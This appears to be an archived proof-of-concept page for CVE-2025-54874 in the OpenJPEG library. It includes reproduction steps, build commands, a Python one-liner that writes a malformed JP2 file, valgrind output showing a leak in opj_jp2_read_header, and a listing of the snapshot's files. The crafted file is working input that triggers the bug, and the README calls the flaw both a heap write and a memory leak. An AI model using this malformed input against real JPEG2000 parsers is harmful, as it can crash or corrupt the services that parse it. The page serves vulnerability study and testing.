Associated Vulnerability
Title:OpenJPEG 安全漏洞 (CVE-2025-54874)Description:OpenJPEG是Université catholique de Louvain开源的一款基于C语言的开源JPEG2000编码解码器。 OpenJPEG 2.5.3及之前版本存在安全漏洞,该漏洞源于opj_jp2_read_header可能导致堆内存越界写入。
Readme
# Reference
https://github.com/uclouvain/openjpeg/pull/1573
https://www.cvedetails.com/cve/CVE-2025-54874/
https://securitylab.github.com/advisories/GHSL-2025-057_OpenCV/
# Test Env
`openjpeg-2.5.1`
`Linux 6.10.14-linuxkit x86_64 GNU/Linux`
# Description
the function call chain is: `opj_read_header` → `opj_jp2_read_header` → `opj_j2k_read_header` → `opj_j2k_setup_header_reading` → `opj_j2k_read_header_procedure` → `opj_stream_read_data`
When the data is too small, the `opj_stream_read_data` will return error, causing `opj_j2k_read_header` return error back to `opj_jp2_read_header`.
However, in `opj_jp2_read_header`, it didn’t check whether `opj_j2k_read_header` returns error or not before setting values on the heap memory causing a memory leak.
# POC Process
1. initialize `opj_image_t`, `opj_codec_t` and `opj_stream_t` (these are required for opj_read_header)
1. initialization reference: `openjpeg2.5.1/tests/test_decode_area.c:create_codec_and_stream`
2. call `opj_read_header()`
3. cleanup
# How to run this POC
`git clone git@github.com:cyhe50/cve-2025-54874-poc.git`
`cd cve-2025-54874-poc`
### run binary
`./poc in/test.jp2`: receive `Expect Error: opj_read_header failed`
### run valgrind
`valgrind --track-origins=yes --leak-check=full ./poc in/test.jp2`
output
```bash
==1280== Memcheck, a memory error detector
==1280== Copyright (C) 2002-2017, and GNU GPL'd, by Julian Seward et al.
==1280== Using Valgrind-3.18.1 and LibVEX; rerun with -h for copyright info
==1280== Command: ./poc in/test.jp2
==1280==
Expect Error: opj_read_header failed
==1280==
==1280== HEAP SUMMARY:
==1280== in use at exit: 8 bytes in 1 blocks
==1280== total heap usage: 28 allocs, 27 frees, 1,066,008 bytes allocated
==1280==
==1280== 8 bytes in 1 blocks are definitely lost in loss record 1 of 1
==1280== at 0x484DA83: calloc (in /usr/libexec/valgrind/vgpreload_memcheck-amd64-linux.so)
==1280== by 0x10EAD6: opj_calloc (opj_malloc.c:204)
==1280== by 0x12D8EE: opj_jp2_read_colr (jp2.c:1573)
==1280== by 0x13030F: opj_jp2_read_jp2h (jp2.c:2727)
==1280== by 0x12F6AA: opj_jp2_read_header_procedure (jp2.c:2364)
==1280== by 0x12F967: opj_jp2_exec (jp2.c:2440)
==1280== by 0x1307CD: opj_jp2_read_header (jp2.c:2855)
==1280== by 0x10D9DA: opj_read_header (openjpeg.c:475)
==1280== by 0x10B90D: main (poc.c:62)
==1280==
==1280== LEAK SUMMARY:
==1280== definitely lost: 8 bytes in 1 blocks
==1280== indirectly lost: 0 bytes in 0 blocks
==1280== possibly lost: 0 bytes in 0 blocks
==1280== still reachable: 0 bytes in 0 blocks
==1280== suppressed: 0 bytes in 0 blocks
==1280==
==1280== For lists of detected and suppressed errors, rerun with: -s
==1280== ERROR SUMMARY: 1 errors from 1 contexts (suppressed: 0 from 0)
```
# Initial Process
### openjpeg-2.5.1
1. download source code
2. compile
```bash
cd openjpeg-2.5.1
mkdir build && cd build
cmake -DCMAKE_BUILD_TYPE=Debug ..
make
cd ../..
```
3. build POC
4. compile POC
```bash
gcc -g -I./openjpeg-2.5.1/src/lib/openjp2 -o poc poc.c ./openjpeg-2.5.1/build/bin/libopenjp2.a -lm
```
5. generate vuln jp2
```bash
python3 -c "import sys; sys.stdout.buffer.write(bytes([
0x00,0x00,0x00,0x0c,0x6a,0x50,0x20,0x20,0x0d,0x0a,0x87,0x0a,
0x00,0x00,0x00,0x14,0x66,0x74,0x79,0x70,0x6a,0x70,0x30,0x20,
0xf9,0xff,0xff,0xff,0x6a,0x70,0x33,0x20,0x00,0x00,0x00,0x31,
0x6a,0x70,0x32,0x68,0x00,0x00,0x00,0x16,0x69,0x68,0x64,0x72,
0x00,0x80,0x00,0x00,0x00,0x00,0x05,0x00,0x00,0x03,0x07,0x07,
0x00,0x00,0x00,0x00,0x00,0x13,0x63,0x6f,0x6c,0x72,0x02,0xff,
0xff,0x01,0x02,0x03,0x04,0x05,0x06,0x07,0x08,
0x00,0x00,0x00,0x20,0x6a,0x70,0x32,0x63,0xff,0x4f
]))" > in/test.jp2
```
6. run valgrind
```bash
valgrind --track-origins=yes --leak-check=full ./poc in/test.jp2
```
File Snapshot
[4.0K] /data/pocs/607b69242132f83389755dae7b22bbdc37a118e5
├── [4.0K] in
│ └── [ 91] test.jp2
├── [4.0K] openjpeg-2.5.1
│ ├── [1.3K] appveyor.yml
│ ├── [ 712] AUTHORS.md
│ ├── [4.0K] build
│ │ ├── [4.0K] bin
│ │ │ ├── [1.6M] libopenjp2.a
│ │ │ ├── [ 15] libopenjp2.so -> libopenjp2.so.7
│ │ │ ├── [1.0M] libopenjp2.so.2.5.1
│ │ │ ├── [ 19] libopenjp2.so.7 -> libopenjp2.so.2.5.1
│ │ │ ├── [218K] opj_compress
│ │ │ ├── [205K] opj_decompress
│ │ │ └── [185K] opj_dump
│ │ ├── [ 26K] CMakeCache.txt
│ │ ├── [3.4K] CPackConfig.cmake
│ │ ├── [3.7K] CPackSourceConfig.cmake
│ │ ├── [1.2K] CTestCustom.cmake
│ │ ├── [ 369] libopenjp2.pc
│ │ ├── [2.1K] LICENSE.txt
│ │ ├── [2.1K] OpenJPEGConfig.cmake
│ │ ├── [2.8K] OpenJPEGConfigVersion.cmake
│ │ └── [4.0K] src
│ │ ├── [4.0K] bin
│ │ │ └── [4.0K] common
│ │ │ └── [ 316] opj_apps_config.h
│ │ └── [4.0K] lib
│ │ └── [4.0K] openjp2
│ │ ├── [ 302] opj_config.h
│ │ └── [1.6K] opj_config_private.h
│ ├── [106K] CHANGELOG.md
│ ├── [4.0K] cmake
│ │ ├── [1.2K] CTestCustom.cmake.in
│ │ ├── [ 928] EnsureFileInclude.cmake
│ │ ├── [ 332] FindCPPCHECK.cmake
│ │ ├── [ 612] FindFCGI.cmake
│ │ ├── [ 170] FindJPYLYZER.cmake
│ │ ├── [ 483] FindKAKADU.cmake
│ │ ├── [1.1K] FindLCMS2.cmake
│ │ ├── [1.1K] FindLCMS.cmake
│ │ ├── [ 165] JPIPTestDriver.cmake
│ │ ├── [1.5K] OpenJPEGConfig.cmake.in
│ │ ├── [2.9K] OpenJPEGCPack.cmake
│ │ ├── [ 832] openjpeg_valgrind.supp
│ │ ├── [ 305] TestFileOffsetBits.c
│ │ ├── [ 615] TestLargeFiles.c.cmake.in
│ │ ├── [5.4K] TestLargeFiles.cmake
│ │ └── [ 113] TestWindowsFSeek.c
│ ├── [ 13K] CMakeLists.txt
│ ├── [ 234] CTestConfig.cmake
│ ├── [4.0K] doc
│ │ ├── [2.1K] CMakeLists.txt
│ │ ├── [9.9K] Doxyfile.dox.cmake.in
│ │ ├── [ 61K] jpip_architect.png
│ │ ├── [6.2K] jpip_protocol.png
│ │ ├── [2.6K] mainpage.dox.in
│ │ ├── [4.0K] man
│ │ │ ├── [4.0K] man1
│ │ │ │ ├── [6.1K] opj_compress.1
│ │ │ │ ├── [3.1K] opj_decompress.1
│ │ │ │ └── [1.2K] opj_dump.1
│ │ │ └── [4.0K] man3
│ │ │ └── [ 11K] libopenjp2.3
│ │ └── [5.7K] openjpip.dox.in
│ ├── [2.1K] HOWTO-RELEASE
│ ├── [5.6K] INSTALL.md
│ ├── [2.1K] LICENSE
│ ├── [6.5K] NEWS.md
│ ├── [5.3K] README.md
│ ├── [4.0K] scripts
│ │ ├── [ 168] astyle.options
│ │ ├── [2.8K] astyle.sh
│ │ ├── [2.4K] prepare-commit.sh
│ │ ├── [1.4K] remove_temporary_files.sh
│ │ └── [2.2K] verify-indentation.sh
│ ├── [4.0K] src
│ │ ├── [4.0K] bin
│ │ │ ├── [ 200] CMakeLists.txt
│ │ │ ├── [4.0K] common
│ │ │ │ ├── [ 239] CMakeLists.txt
│ │ │ │ ├── [ 33K] color.c
│ │ │ │ ├── [2.3K] color.h
│ │ │ │ ├── [2.3K] format_defs.h
│ │ │ │ ├── [ 387] opj_apps_config.h.cmake.in
│ │ │ │ ├── [ 10K] opj_getopt.c
│ │ │ │ ├── [ 672] opj_getopt.h
│ │ │ │ └── [2.6K] opj_string.h
│ │ │ ├── [4.0K] jp2
│ │ │ │ ├── [2.3K] CMakeLists.txt
│ │ │ │ ├── [ 41K] convertbmp.c
│ │ │ │ ├── [ 78K] convert.c
│ │ │ │ ├── [5.4K] convert.h
│ │ │ │ ├── [ 17K] convertpng.c
│ │ │ │ ├── [ 50K] converttif.c
│ │ │ │ ├── [ 22K] index.c
│ │ │ │ ├── [2.1K] index.h
│ │ │ │ ├── [ 89K] opj_compress.c
│ │ │ │ ├── [ 65K] opj_decompress.c
│ │ │ │ ├── [ 21K] opj_dump.c
│ │ │ │ └── [ 22K] windirent.h
│ │ │ ├── [4.0K] jpip
│ │ │ │ ├── [5.2K] CMakeLists.txt
│ │ │ │ ├── [3.2K] opj_dec_server.c
│ │ │ │ ├── [5.5K] opj_jpip_addxml.c
│ │ │ │ ├── [2.4K] opj_jpip_test.c
│ │ │ │ ├── [3.6K] opj_jpip_transcode.c
│ │ │ │ ├── [4.0K] opj_server.c
│ │ │ │ ├── [4.0K] opj_viewer
│ │ │ │ │ ├── [4.0K] dist
│ │ │ │ │ │ └── [ 103] manifest.txt
│ │ │ │ │ └── [4.0K] src
│ │ │ │ │ ├── [4.3K] ImageManager.java
│ │ │ │ │ ├── [7.2K] ImageViewer.java
│ │ │ │ │ ├── [3.5K] ImageWindow.java
│ │ │ │ │ ├── [ 10K] ImgdecClient.java
│ │ │ │ │ ├── [ 15K] JPIPHttpClient.java
│ │ │ │ │ ├── [3.0K] MML.java
│ │ │ │ │ ├── [4.3K] PnmImage.java
│ │ │ │ │ ├── [3.6K] RegimViewer.java
│ │ │ │ │ └── [2.4K] ResizeListener.java
│ │ │ │ ├── [4.0K] opj_viewer_xerces
│ │ │ │ │ ├── [4.0K] dist
│ │ │ │ │ │ └── [ 135] manifest.txt.in
│ │ │ │ │ └── [4.0K] src
│ │ │ │ │ ├── [7.1K] ImageViewer.java
│ │ │ │ │ ├── [3.7K] ImageWindow.java
│ │ │ │ │ ├── [4.0K] JP2XMLparser.java
│ │ │ │ │ └── [3.4K] OptionPanel.java
│ │ │ │ └── [6.0K] README
│ │ │ └── [4.0K] wx
│ │ │ ├── [ 57] CMakeLists.txt
│ │ │ └── [4.0K] OPJViewer
│ │ │ ├── [4.0K] about
│ │ │ │ ├── [1.4K] about.htm
│ │ │ │ └── [6.3K] opj_logo.png
│ │ │ ├── [1.1K] CMakeLists.txt
│ │ │ ├── [1.8K] OPJViewer.iss
│ │ │ ├── [4.3K] Readme.txt
│ │ │ └── [4.0K] source
│ │ │ ├── [3.4K] about_htm.h
│ │ │ ├── [ 11] build.h
│ │ │ ├── [1.8K] icon1.xpm
│ │ │ ├── [1.5K] icon2.xpm
│ │ │ ├── [1.8K] icon3.xpm
│ │ │ ├── [1.3K] icon4.xpm
│ │ │ ├── [1.8K] icon5.xpm
│ │ │ ├── [ 49K] imagjpeg2000.cpp
│ │ │ ├── [5.9K] imagjpeg2000.h
│ │ │ ├── [ 14K] imagmxf.cpp
│ │ │ ├── [3.7K] imagmxf.h
│ │ │ ├── [1.6K] license.txt
│ │ │ ├── [3.3K] OPJAbout.cpp
│ │ │ ├── [ 511] OPJChild16.xpm
│ │ │ ├── [1.1K] OPJChild.ico
│ │ │ ├── [ 45K] OPJDialogs.cpp
│ │ │ ├── [ 14K] opj_logo.xpm
│ │ │ ├── [ 42K] OPJThreads.cpp
│ │ │ ├── [ 482] OPJViewer16.xpm
│ │ │ ├── [ 60K] OPJViewer.cpp
│ │ │ ├── [ 26K] OPJViewer.h
│ │ │ ├── [1.1K] OPJViewer.ico
│ │ │ ├── [ 83] OPJViewer.rc
│ │ │ ├── [1.4K] readmeafter.txt
│ │ │ ├── [1.3K] readmebefore.txt
│ │ │ ├── [ 34K] wxj2kparser.cpp
│ │ │ └── [ 36K] wxjp2parser.cpp
│ │ ├── [ 303] CMakeLists.txt
│ │ └── [4.0K] lib
│ │ ├── [ 129] CMakeLists.txt
│ │ ├── [4.0K] openjp2
│ │ │ ├── [ 11K] bench_dwt.c
│ │ │ ├── [5.7K] bio.c
│ │ │ ├── [4.4K] bio.h
│ │ │ ├── [9.2K] cidx_manager.c
│ │ │ ├── [2.7K] cidx_manager.h
│ │ │ ├── [ 24K] cio.c
│ │ │ ├── [ 15K] cio.h
│ │ │ ├── [8.0K] CMakeLists.txt
│ │ │ ├── [135K] dwt.c
│ │ │ ├── [4.7K] dwt.h
│ │ │ ├── [4.9K] event.c
│ │ │ ├── [3.9K] event.h
│ │ │ ├── [4.3K] function_list.c
│ │ │ ├── [4.4K] function_list.h
│ │ │ ├── [107K] ht_dec.c
│ │ │ ├── [9.6K] image.c
│ │ │ ├── [2.6K] image.h
│ │ │ ├── [6.2K] indexbox_manager.h
│ │ │ ├── [ 10K] invert.c
│ │ │ ├── [2.8K] invert.h
│ │ │ ├── [486K] j2k.c
│ │ │ ├── [ 31K] j2k.h
│ │ │ ├── [114K] jp2.c
│ │ │ ├── [ 17K] jp2.h
│ │ │ ├── [ 335] libopenjp2.pc.cmake.in
│ │ │ ├── [ 13K] mct.c
│ │ │ ├── [5.9K] mct.h
│ │ │ ├── [ 18K] mqc.c
│ │ │ ├── [8.8K] mqc.h
│ │ │ ├── [8.1K] mqc_inl.h
│ │ │ ├── [ 38K] openjpeg.c
│ │ │ ├── [ 63K] openjpeg.h
│ │ │ ├── [2.7K] opj_clock.c
│ │ │ ├── [2.2K] opj_clock.h
│ │ │ ├── [8.1K] opj_codec.h
│ │ │ ├── [2.1K] opj_common.h
│ │ │ ├── [ 371] opj_config.h.cmake.in
│ │ │ ├── [1.8K] opj_config_private.h.cmake.in
│ │ │ ├── [7.1K] opj_includes.h
│ │ │ ├── [8.6K] opj_intmath.h
│ │ │ ├── [8.1K] opj_malloc.c
│ │ │ ├── [3.7K] opj_malloc.h
│ │ │ ├── [8.6K] phix_manager.c
│ │ │ ├── [ 81K] pi.c
│ │ │ ├── [7.2K] pi.h
│ │ │ ├── [8.7K] ppix_manager.c
│ │ │ ├── [ 15K] sparse_array.c
│ │ │ ├── [6.9K] sparse_array.h
│ │ │ ├── [ 87K] t1.c
│ │ │ ├── [ 10K] t1_generate_luts.c
│ │ │ ├── [9.2K] t1.h
│ │ │ ├── [ 36K] t1_ht_generate_luts.c
│ │ │ ├── [ 17K] t1_ht_luts.h
│ │ │ ├── [ 13K] t1_luts.h
│ │ │ ├── [ 63K] t2.c
│ │ │ ├── [5.5K] t2.h
│ │ │ ├── [115K] tcd.c
│ │ │ ├── [ 19K] tcd.h
│ │ │ ├── [5.9K] test_sparse_array.c
│ │ │ ├── [ 10K] tgt.c
│ │ │ ├── [5.4K] tgt.h
│ │ │ ├── [5.3K] thix_manager.c
│ │ │ ├── [ 24K] thread.c
│ │ │ ├── [8.4K] thread.h
│ │ │ ├── [1.7K] tls_keys.h
│ │ │ └── [7.1K] tpix_manager.c
│ │ └── [4.0K] openjpip
│ │ ├── [8.4K] auxtrans_manager.c
│ │ ├── [3.0K] auxtrans_manager.h
│ │ ├── [2.8K] boxheader_manager.c
│ │ ├── [2.8K] boxheader_manager.h
│ │ ├── [ 12K] box_manager.c
│ │ ├── [7.9K] box_manager.h
│ │ ├── [4.9K] byte_manager.c
│ │ ├── [3.6K] byte_manager.h
│ │ ├── [7.1K] cache_manager.c
│ │ ├── [5.2K] cache_manager.h
│ │ ├── [8.0K] cachemodel_manager.c
│ │ ├── [4.2K] cachemodel_manager.h
│ │ ├── [5.5K] channel_manager.c
│ │ ├── [4.2K] channel_manager.h
│ │ ├── [3.0K] CMakeLists.txt
│ │ ├── [2.7K] codestream_manager.c
│ │ ├── [3.5K] codestream_manager.h
│ │ ├── [7.9K] dec_clientmsg_handler.c
│ │ ├── [4.5K] dec_clientmsg_handler.h
│ │ ├── [7.1K] faixbox_manager.c
│ │ ├── [4.9K] faixbox_manager.h
│ │ ├── [2.8K] ihdrbox_manager.c
│ │ ├── [2.2K] ihdrbox_manager.h
│ │ ├── [5.0K] imgreg_manager.c
│ │ ├── [4.0K] imgreg_manager.h
│ │ ├── [6.6K] imgsock_manager.c
│ │ ├── [6.7K] imgsock_manager.h
│ │ ├── [ 25K] index_manager.c
│ │ ├── [7.5K] index_manager.h
│ │ ├── [ 11K] j2kheader_manager.c
│ │ ├── [3.3K] j2kheader_manager.h
│ │ ├── [8.5K] jp2k_decoder.c
│ │ ├── [1.7K] jp2k_decoder.h
│ │ ├── [ 29K] jp2k_encoder.c
│ │ ├── [3.1K] jp2k_encoder.h
│ │ ├── [ 20K] jpip_parser.c
│ │ ├── [4.8K] jpip_parser.h
│ │ ├── [4.2K] jpipstream_manager.c
│ │ ├── [2.1K] jpipstream_manager.h
│ │ ├── [ 408] libopenjpip.pc.cmake.in
│ │ ├── [3.4K] manfbox_manager.c
│ │ ├── [2.5K] manfbox_manager.h
│ │ ├── [2.4K] marker_manager.c
│ │ ├── [3.2K] marker_manager.h
│ │ ├── [7.3K] metadata_manager.c
│ │ ├── [4.8K] metadata_manager.h
│ │ ├── [4.2K] mhixbox_manager.c
│ │ ├── [3.3K] mhixbox_manager.h
│ │ ├── [ 23K] msgqueue_manager.c
│ │ ├── [6.6K] msgqueue_manager.h
│ │ ├── [ 13K] openjpip.c
│ │ ├── [9.3K] openjpip.h
│ │ ├── [4.2K] placeholder_manager.c
│ │ ├── [3.6K] placeholder_manager.h
│ │ ├── [ 14K] query_parser.c
│ │ ├── [4.1K] query_parser.h
│ │ ├── [5.8K] session_manager.c
│ │ ├── [4.0K] session_manager.h
│ │ ├── [4.9K] sock_manager.c
│ │ ├── [3.4K] sock_manager.h
│ │ ├── [9.4K] target_manager.c
│ │ └── [5.1K] target_manager.h
│ ├── [4.0K] tests
│ │ ├── [6.5K] CMakeLists.txt
│ │ ├── [5.9K] compare_dump_files.c
│ │ ├── [ 37K] compare_images.c
│ │ ├── [6.1K] compare_raw_files.c
│ │ ├── [4.0K] conformance
│ │ │ └── [ 21K] CMakeLists.txt
│ │ ├── [4.0K] fuzzers
│ │ │ ├── [ 743] build_google_oss_fuzzers.sh
│ │ │ ├── [ 400] build_seed_corpus.sh
│ │ │ ├── [2.6K] fuzzingengine.c
│ │ │ ├── [ 352] GNUmakefile
│ │ │ ├── [6.5K] opj_decompress_fuzzer_J2K.cpp
│ │ │ ├── [6.5K] opj_decompress_fuzzer_JP2.cpp
│ │ │ └── [1.8K] README.TXT
│ │ ├── [ 98] include_openjpeg.c
│ │ ├── [8.5K] j2k_random_tile_access.c
│ │ ├── [4.0K] nonregression
│ │ │ ├── [2.6K] checkmd5refs.cmake
│ │ │ ├── [ 18K] CMakeLists.txt
│ │ │ ├── [ 22K] md5refs.txt
│ │ │ └── [ 50K] test_suite.ctest.in
│ │ ├── [4.3K] pdf2jp2.c
│ │ ├── [4.0K] performance
│ │ │ ├── [4.5K] compare_perfs.py
│ │ │ ├── [ 522] perf_test_filelist.csv
│ │ │ └── [5.0K] perf_test.py
│ │ ├── [3.9K] ppm2rgb3.c
│ │ ├── [4.0K] profiling
│ │ │ └── [1.7K] filter_massif_output.py
│ │ ├── [ 19K] test_decode_area.c
│ │ ├── [ 12K] test_tile_decoder.c
│ │ ├── [ 12K] test_tile_encoder.c
│ │ └── [4.0K] unit
│ │ ├── [ 466] CMakeLists.txt
│ │ ├── [ 100] testempty0.c
│ │ ├── [4.1K] testempty1.c
│ │ ├── [5.5K] testempty2.c
│ │ └── [5.2K] testjp2.c
│ ├── [ 818] THANKS.md
│ ├── [4.0K] thirdparty
│ │ ├── [4.0K] astyle
│ │ │ ├── [105K] ASBeautifier.cpp
│ │ │ ├── [ 19K] ASEnhancer.cpp
│ │ │ ├── [216K] ASFormatter.cpp
│ │ │ ├── [ 59K] ASLocalizer.cpp
│ │ │ ├── [4.2K] ASLocalizer.h
│ │ │ ├── [ 28K] ASResource.cpp
│ │ │ ├── [ 36K] astyle.h
│ │ │ ├── [115K] astyle_main.cpp
│ │ │ ├── [ 17K] astyle_main.h
│ │ │ ├── [ 866] CMakeLists.txt
│ │ │ └── [1.1K] LICENSE.md
│ │ ├── [6.2K] CMakeLists.txt
│ │ ├── [4.0K] include
│ │ │ ├── [ 15K] zconf.h
│ │ │ └── [ 86K] zlib.h
│ │ ├── [4.0K] liblcms2
│ │ │ ├── [ 440] CMakeLists.txt
│ │ │ ├── [1.1K] COPYING
│ │ │ ├── [4.0K] include
│ │ │ │ ├── [ 99K] lcms2.h
│ │ │ │ └── [ 29K] lcms2_plugin.h
│ │ │ └── [4.0K] src
│ │ │ ├── [ 15K] cmsalpha.c
│ │ │ ├── [ 14K] cmscam02.c
│ │ │ ├── [ 71K] cmscgats.c
│ │ │ ├── [ 42K] cmscnvrt.c
│ │ │ ├── [ 20K] cmserr.c
│ │ │ ├── [ 36K] cmsgamma.c
│ │ │ ├── [ 20K] cmsgmt.c
│ │ │ ├── [ 34K] cmshalf.c
│ │ │ ├── [ 43K] cmsintrp.c
│ │ │ ├── [ 57K] cmsio0.c
│ │ │ ├── [ 34K] cmsio1.c
│ │ │ ├── [ 50K] cmslut.c
│ │ │ ├── [9.3K] cmsmd5.c
│ │ │ ├── [5.5K] cmsmtrx.c
│ │ │ ├── [ 28K] cmsnamed.c
│ │ │ ├── [ 63K] cmsopt.c
│ │ │ ├── [107K] cmspack.c
│ │ │ ├── [ 25K] cmspcs.c
│ │ │ ├── [ 27K] cmsplugin.c
│ │ │ ├── [ 46K] cmsps2.c
│ │ │ ├── [ 17K] cmssamp.c
│ │ │ ├── [ 19K] cmssm.c
│ │ │ ├── [177K] cmstypes.c
│ │ │ ├── [ 36K] cmsvirt.c
│ │ │ ├── [ 11K] cmswtpnt.c
│ │ │ ├── [ 47K] cmsxform.c
│ │ │ └── [ 36K] lcms2_internal.h
│ │ ├── [4.0K] libpng
│ │ │ ├── [ 654] CMakeLists.txt
│ │ │ ├── [4.8K] LICENSE
│ │ │ ├── [151K] png.c
│ │ │ ├── [ 22K] pngconf.h
│ │ │ ├── [5.2K] pngdebug.h
│ │ │ ├── [ 29K] pngerror.c
│ │ │ ├── [ 33K] pngget.c
│ │ │ ├── [140K] png.h
│ │ │ ├── [ 12K] pnginfo.h
│ │ │ ├── [7.3K] pnglibconf.h
│ │ │ ├── [8.2K] pngmem.c
│ │ │ ├── [ 31K] pngpread.c
│ │ │ ├── [ 81K] pngpriv.h
│ │ │ ├── [138K] pngread.c
│ │ │ ├── [3.9K] pngrio.c
│ │ │ ├── [165K] pngrtran.c
│ │ │ ├── [140K] pngrutil.c
│ │ │ ├── [ 49K] pngset.c
│ │ │ ├── [ 20K] pngstruct.h
│ │ │ ├── [ 25K] pngtrans.c
│ │ │ ├── [5.5K] pngwio.c
│ │ │ ├── [ 74K] pngwrite.c
│ │ │ ├── [ 15K] pngwtran.c
│ │ │ └── [ 78K] pngwutil.c
│ │ ├── [4.0K] libtiff
│ │ │ ├── [7.7K] CMakeLists.txt
│ │ │ ├── [1.9K] libport.h
│ │ │ ├── [2.9K] libtiff.def
│ │ │ ├── [ 801] snprintf.c
│ │ │ ├── [ 11K] t4.h
│ │ │ ├── [ 194] test_inline.c
│ │ │ ├── [9.1K] tif_aux.c
│ │ │ ├── [4.0K] tif_close.c
│ │ │ ├── [4.9K] tif_codec.c
│ │ │ ├── [8.6K] tif_color.c
│ │ │ ├── [7.7K] tif_compress.c
│ │ │ ├── [7.8K] tif_config.h.cmake.in
│ │ │ ├── [ 10K] tif_config.h.in
│ │ │ ├── [ 47K] tif_dir.c
│ │ │ ├── [ 11K] tif_dir.h
│ │ │ ├── [ 47K] tif_dirinfo.c
│ │ │ ├── [138K] tif_dirread.c
│ │ │ ├── [ 86K] tif_dirwrite.c
│ │ │ ├── [3.8K] tif_dumpmode.c
│ │ │ ├── [2.3K] tif_error.c
│ │ │ ├── [3.2K] tif_extension.c
│ │ │ ├── [ 44K] tif_fax3.c
│ │ │ ├── [ 16K] tif_fax3.h
│ │ │ ├── [102K] tif_fax3sm.c
│ │ │ ├── [2.9K] tiffconf.h.cmake.in
│ │ │ ├── [3.0K] tiffconf.h.in
│ │ │ ├── [ 35K] tiff.h
│ │ │ ├── [ 22K] tiffio.h
│ │ │ ├── [1.7K] tiffio.hxx
│ │ │ ├── [ 18K] tiffiop.h
│ │ │ ├── [4.0K] tif_flush.c
│ │ │ ├── [ 410] tiffvers.h
│ │ │ ├── [ 74K] tif_getimage.c
│ │ │ ├── [5.4K] tif_jbig.c
│ │ │ ├── [1.6K] tif_jpeg_12.c
│ │ │ ├── [ 72K] tif_jpeg.c
│ │ │ ├── [ 42K] tif_luv.c
│ │ │ ├── [ 13K] tif_lzma.c
│ │ │ ├── [ 31K] tif_lzw.c
│ │ │ ├── [4.6K] tif_next.c
│ │ │ ├── [ 75K] tif_ojpeg.c
│ │ │ ├── [ 18K] tif_open.c
│ │ │ ├── [7.2K] tif_packbits.c
│ │ │ ├── [ 40K] tif_pixarlog.c
│ │ │ ├── [ 21K] tif_predict.c
│ │ │ ├── [2.8K] tif_predict.h
│ │ │ ├── [ 21K] tif_print.c
│ │ │ ├── [ 33K] tif_read.c
│ │ │ ├── [ 11K] tif_stream.cxx
│ │ │ ├── [ 11K] tif_strip.c
│ │ │ ├── [9.1K] tif_swab.c
│ │ │ ├── [6.3K] tif_thunder.c
│ │ │ ├── [8.8K] tif_tile.c
│ │ │ ├── [8.0K] tif_unix.c
│ │ │ ├── [1.5K] tif_version.c
│ │ │ ├── [2.3K] tif_warning.c
│ │ │ ├── [ 11K] tif_win32.c
│ │ │ ├── [ 25K] tif_write.c
│ │ │ ├── [ 13K] tif_zip.c
│ │ │ └── [5.5K] uvcode.h
│ │ ├── [4.0K] libz
│ │ │ ├── [4.9K] adler32.c
│ │ │ ├── [2.1K] CMakeLists.txt
│ │ │ ├── [2.5K] compress.c
│ │ │ ├── [ 13K] crc32.c
│ │ │ ├── [ 30K] crc32.h
│ │ │ ├── [ 70K] deflate.c
│ │ │ ├── [ 12K] deflate.h
│ │ │ ├── [ 678] gzclose.c
│ │ │ ├── [6.4K] gzguts.h
│ │ │ ├── [ 16K] gzlib.c
│ │ │ ├── [ 18K] gzread.c
│ │ │ ├── [ 16K] gzwrite.c
│ │ │ ├── [ 22K] infback.c
│ │ │ ├── [ 13K] inffast.c
│ │ │ ├── [ 427] inffast.h
│ │ │ ├── [6.2K] inffixed.h
│ │ │ ├── [ 52K] inflate.c
│ │ │ ├── [6.2K] inflate.h
│ │ │ ├── [ 13K] inftrees.c
│ │ │ ├── [2.9K] inftrees.h
│ │ │ ├── [ 43K] trees.c
│ │ │ ├── [8.3K] trees.h
│ │ │ ├── [2.0K] uncompr.c
│ │ │ ├── [ 86K] zlib.h
│ │ │ ├── [7.2K] zutil.c
│ │ │ └── [6.6K] zutil.h
│ │ └── [ 445] README.txt
│ ├── [4.0K] tools
│ │ ├── [4.0K] abi-tracker
│ │ │ └── [5.7K] openjpeg.json
│ │ ├── [4.0K] ctest_scripts
│ │ │ ├── [ 905] toolchain-mingw32.cmake
│ │ │ ├── [ 913] toolchain-mingw64.cmake
│ │ │ └── [5.8K] travis-ci.cmake
│ │ └── [4.0K] travis-ci
│ │ ├── [6.0K] abi-check.sh
│ │ ├── [4.3K] detect-avx2.c
│ │ ├── [5.2K] install.sh
│ │ ├── [ 64] knownfailures-all.txt
│ │ ├── [1.7K] knownfailures-Ubuntu14.04-gcc4.8.4-i386-Release-3rdP.txt
│ │ ├── [1.7K] knownfailures-Ubuntu20.04-clang10.0.0-i386-Release-3rdP.txt
│ │ ├── [ 221] knownfailures-Ubuntu20.04-gcc9.4.0-x86_64-Release-3rdP.txt
│ │ ├── [ 221] knownfailures-Ubuntu22.04-gcc11.4.0-x86_64-Release-3rdP.txt
│ │ ├── [1.6K] knownfailures-windows-vs2010-x86-Release-3rdP.txt
│ │ ├── [1.6K] knownfailures-windows-vs2015-x64-avx2-Release-3rdP.txt
│ │ ├── [ 14K] run.sh
│ │ └── [3.2K] travis_rsa.enc
│ └── [4.0K] wrapping
│ ├── [ 59] CMakeLists.txt
│ └── [4.0K] java
│ ├── [ 28] CMakeLists.txt
│ └── [4.0K] openjp2
│ ├── [1.9K] CMakeLists.txt
│ ├── [ 15K] index.c
│ ├── [1.8K] index.h
│ ├── [ 87K] JavaOpenJPEG.c
│ ├── [ 28K] JavaOpenJPEGDecoder.c
│ ├── [4.0K] java-sources
│ │ └── [4.0K] org
│ │ └── [4.0K] openJpeg
│ │ ├── [8.9K] OpenJPEGJavaDecoder.java
│ │ └── [ 12K] OpenJPEGJavaEncoder.java
│ ├── [ 579] org_openJpeg_OpenJPEGJavaDecoder.h
│ └── [ 580] org_openJpeg_OpenJPEGJavaEncoder.h
├── [1.0M] poc
├── [1.8K] poc.c
└── [3.9K] README.md
60 directories, 485 files
Remarks
1. It is advised to access via the original source first.
2. If the original source is unavailable, please email f.jinxu#gmail.com for a local snapshot (replace # with @).
3. Shenlong has snapshotted the POC code for you. To support long-term maintenance, please consider donating. Thank you for your support.